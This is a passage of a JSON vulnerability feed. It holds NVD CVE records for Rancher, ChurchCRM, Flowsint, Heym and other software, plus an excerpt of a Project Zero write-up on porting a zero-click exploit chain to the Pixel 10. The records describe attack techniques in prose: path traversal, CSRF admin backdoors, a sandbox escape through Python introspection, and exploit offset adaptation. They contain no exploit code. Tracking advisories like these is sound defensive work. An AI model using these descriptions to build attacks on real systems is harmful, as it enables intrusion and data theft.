2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-25705","cveId":"CVE-2026-25705","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in [Rancher's Extensions](https://ranchermanager.docs.rancher.com/integrations-in-rancher/rancher-extensions) where malicious code can be...","summary":"A vulnerability has been identified in [Rancher's Extensions](https://ranchermanager.docs.rancher.com/integrations-in-rancher/rancher-extensions) where malicious code can be injected in Rancher through a path traversal in the `compressedEndpoint` field inside a `UIPlugin` deployment. A malicious UI extension could abuse that to:  *  Overwrite Rancher binaries or configuration to inject code.\n\n  *  Write to /var/lib/rancher/ to tamper with cluster state.\n\n  *  If hostPath volumes are mounted, write to the host node filesystem.\n\n  *  Use this issue to chain with other attack vectors.","detail":"A vulnerability has been identified in [Rancher's Extensions](https://ranchermanager.docs.rancher.com/integrations-in-rancher/rancher-extensions) where malicious code can be injected in Rancher through a path traversal in the `compressedEndpoint` field inside a `UIPlugin` deployment. A malicious UI extension could abuse that to:  *  Overwrite Rancher binaries or configuration to inject code.\n\n  *  Write to /var/lib/rancher/ to tamper with cluster state.\n\n  *  If hostPath volumes are mounted, write to the host node filesystem.\n\n  *  Use this issue to chain with other attack vectors.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T08:16:16.083Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-25705","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-25705","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25705","type":"primary","publishedAt":"2026-05-13T08:16:16.083Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"project-zero-pixel-10-exploit-1635f685d5eb","cveId":null,"aliases":[],"kind":"advisory","title":"A 0-click exploit chain for the Pixel 10: When a Door Closes, a Window Opens","summary":"We recently published an exploit chain for the Google Pixel 9 that demonstrated it was possible to go from a zero-click context to root on Android in just two exploits. The Dolby 0-click vulnerability existed across all of Android, until it was patched in January 2026. While we had an exploit chain for the Pixel 9, we wanted to see if it was possible to write a similar exploit chain for Pixel 10. Updating the Dolby Exploit Altering our exploit for CVE-2025-54957 was fairly straightforward. The majority of needed changes involved updating offsets calculated for the specific version of the library we targeted on the Pixel 9 to similar offsets in the library for Pixel 10. The only challenge (outside of wishing we’d better documented which syncframes contained offsets) was that the Pixel 10 uses RET PAC in the place of -fstack-protector, which meant that __stack_chk_fail wasn’t available to be overwritten by code. After a bit of trial and error, we used dap_cpdp_init, initialization code that can be overwritten without causing functional problems, as it is called once when the decoder is initialized and never again.","detail":"We recently published an exploit chain for the Google Pixel 9 that demonstrated it was possible to go from a zero-click context to root on Android in just two exploits. The Dolby 0-click vulnerability existed across all of Android, until it was patched in January 2026. While we had an exploit chain for the Pixel 9, we wanted to see if it was possible to write a similar exploit chain for Pixel 10. Updating the Dolby Exploit Altering our exploit for CVE-2025-54957 was fairly straightforward. The majority of needed changes involved updating offsets calculated for the specific version of the library we targeted on the Pixel 9 to similar offsets in the library for Pixel 10. The only challenge (outside of wishing we’d better documented which syncframes contained offsets) was that the Pixel 10 uses RET PAC in the place of -fstack-protector, which meant that __stack_chk_fail wasn’t available to be overwritten by code. After a bit of trial and error, we used dap_cpdp_init, initialization code that can be overwritten without causing functional problems, as it is called once when the decoder is initialized and never again.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-05-13T07:00:00.000Z","updatedAt":"2026-05-13T07:00:00.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Project Zero Research: A 0-click exploit chain for the Pixel 10: When a Door Closes, a Window Opens","url":"https://projectzero.google/2026/05/pixel-10-exploit.html","type":"primary","publishedAt":"2026-05-13T07:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Project Zero Research syndication feed","url":"https://projectzero.google/feed.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44612","cveId":"CVE-2026-44612","aliases":[],"kind":"vulnerability","title":"Bytello Share (Windows Edition) installer executable provided by Bytello insecurely loads Dynamic Link Libraries.","summary":"Bytello Share (Windows Edition) installer executable provided by Bytello insecurely loads Dynamic Link Libraries. If there is a crafted DLL at the same directory when invoking the affected installer, arbitrary code may be executed with the privilege of the user invoking the installer.","detail":"Bytello Share (Windows Edition) installer executable provided by Bytello insecurely loads Dynamic Link Libraries. If there is a crafted DLL at the same directory when invoking the affected installer, arbitrary code may be executed with the privilege of the user invoking the installer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T06:16:14.610Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44612","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44612","type":"primary","publishedAt":"2026-05-13T06:16:14.610Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21019","cveId":"CVE-2026-21019","aliases":[],"kind":"vulnerability","title":"Improper input validation in FacAtFunction in Galaxy Watch prior to SMR May-2026 Release 1 allows local attacker to execute arbitrary code with system privilege.","summary":"Improper input validation in FacAtFunction in Galaxy Watch prior to SMR May-2026 Release 1 allows local attacker to execute arbitrary code with system privilege.","detail":"Improper input validation in FacAtFunction in Galaxy Watch prior to SMR May-2026 Release 1 allows local attacker to execute arbitrary code with system privilege.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T06:16:13.403Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-21019","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-21019","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21019","type":"primary","publishedAt":"2026-05-13T06:16:13.403Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6888","cveId":"CVE-2026-6888","aliases":[],"kind":"vulnerability","title":"Successful exploitation of the SQL injection vulnerability could allow a remote authenticated attacker to\nexecute arbitrary commands via a specific interface,\npotentially enabling...","summary":"Successful exploitation of the SQL injection vulnerability could allow a remote authenticated attacker to\nexecute arbitrary commands via a specific interface,\npotentially enabling the attacker to access, modify, or delete sensitive\ninformation within the database.","detail":"Successful exploitation of the SQL injection vulnerability could allow a remote authenticated attacker to\nexecute arbitrary commands via a specific interface,\npotentially enabling the attacker to access, modify, or delete sensitive\ninformation within the database.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T04:17:41.093Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6888","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6888","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6888","type":"primary","publishedAt":"2026-05-13T04:17:41.093Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8108","cveId":"CVE-2026-8108","aliases":[],"kind":"vulnerability","title":"The installation of Fuji Tellus adds a driver to the kernel which grants all users read and write permissions.","summary":"The installation of Fuji Tellus adds a driver to the kernel which grants all users read and write permissions.","detail":"The installation of Fuji Tellus adds a driver to the kernel which grants all users read and write permissions.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T23:16:19.023Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"fujielectric","product":"tellus","stacks":["Fujielectric","tellus"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8108","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8108","type":"primary","publishedAt":"2026-05-12T23:16:19.023Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44548","cveId":"CVE-2026-44548","aliases":[],"kind":"vulnerability","title":"ChurchCRM is an open-source church management system.","summary":"ChurchCRM is an open-source church management system. Prior to 7.3.2, top-level cross-site GET navigation from an attacker-controlled page to FundRaiserDelete.php, PropertyTypeDelete.php, or NoteDelete.php causes a logged-in ChurchCRM user with the relevant role to silently delete records, including cascaded property and record-to-property assignments. This vulnerability is fixed in 7.3.2.","detail":"ChurchCRM is an open-source church management system. Prior to 7.3.2, top-level cross-site GET navigation from an attacker-controlled page to FundRaiserDelete.php, PropertyTypeDelete.php, or NoteDelete.php causes a logged-in ChurchCRM user with the relevant role to silently delete records, including cascaded property and record-to-property assignments. This vulnerability is fixed in 7.3.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T23:16:18.750Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44548","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44548","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44548","type":"primary","publishedAt":"2026-05-12T23:16:18.750Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42289","cveId":"CVE-2026-42289","aliases":[],"kind":"vulnerability","title":"ChurchCRM is an open-source church management system.","summary":"ChurchCRM is an open-source church management system. Prior to 7.3.2, UserEditor.php processes user account creation and permission updates entirely through $_POST parameters with no CSRF token validation. An unauthenticated attacker can craft a malicious HTML page that, when visited by an authenticated administrator, silently elevates any low-privilege user to full administrator or creates a new admin backdoor account without the victim's knowledge This vulnerability is fixed in 7.3.2.","detail":"ChurchCRM is an open-source church management system. Prior to 7.3.2, UserEditor.php processes user account creation and permission updates entirely through $_POST parameters with no CSRF token validation. An unauthenticated attacker can craft a malicious HTML page that, when visited by an authenticated administrator, silently elevates any low-privilege user to full administrator or creates a new admin backdoor account without the victim's knowledge This vulnerability is fixed in 7.3.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T23:16:17.730Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42289","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42289","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42289","type":"primary","publishedAt":"2026-05-12T23:16:17.730Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42156","cveId":"CVE-2026-42156","aliases":[],"kind":"vulnerability","title":"Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification.","summary":"Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification. Prior to 1.2.3, a remote attacker can create a node with a malicious type that can escape an existing Cypher query and an adversary can execute an arbitrary Cypher query. This vulnerability is fixed in 1.2.3.","detail":"Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification. Prior to 1.2.3, a remote attacker can create a node with a malicious type that can escape an existing Cypher query and an adversary can execute an arbitrary Cypher query. This vulnerability is fixed in 1.2.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T23:16:17.203Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42156","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42156","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42156","type":"primary","publishedAt":"2026-05-12T23:16:17.203Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45227","cveId":"CVE-2026-45227","aliases":[],"kind":"vulnerability","title":"Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using...","summary":"Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using object-graph introspection primitives. Attackers can use Python introspection techniques to recover the unrestricted __import__ function, import blocked modules such as os and subprocess, and access inherited backend environment variables containing database credentials and encryption keys to execute arbitrary host commands as the backend service user.","detail":"Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using object-graph introspection primitives. Attackers can use Python introspection techniques to recover the unrestricted __import__ function, import blocked modules such as os and subprocess, and access inherited backend environment variables containing database credentials and encryption keys to execute arbitrary host commands as the backend service user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:38.260Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45227","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45227","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45227","type":"primary","publishedAt":"2026-05-12T22:16:38.260Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45226","cveId":"CVE-2026-45226","aliases":[],"kind":"vulnerability","title":"Heym before 0.0.21 contains an authorization bypass vulnerability in workflow execution that allows authenticated users to execute arbitrary workflows by referencing victim...","summary":"Heym before 0.0.21 contains an authorization bypass vulnerability in workflow execution that allows authenticated users to execute arbitrary workflows by referencing victim workflow UUIDs without proper access validation. Attackers can create workflows with execute nodes or agent subWorkflowIds pointing to victim workflow UUIDs to load and execute those workflows under attacker-controlled execution paths, exposing victim workflow outputs and triggering workflow nodes with unintended side effects.","detail":"Heym before 0.0.21 contains an authorization bypass vulnerability in workflow execution that allows authenticated users to execute arbitrary workflows by referencing victim workflow UUIDs without proper access validation. Attackers can create workflows with execute nodes or agent subWorkflowIds pointing to victim workflow UUIDs to load and execute those workflows under attacker-controlled execution paths, exposing victim workflow outputs and triggering workflow nodes with unintended side effects.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:38.127Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45226","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45226","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45226","type":"primary","publishedAt":"2026-05-12T22:16:38.127Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 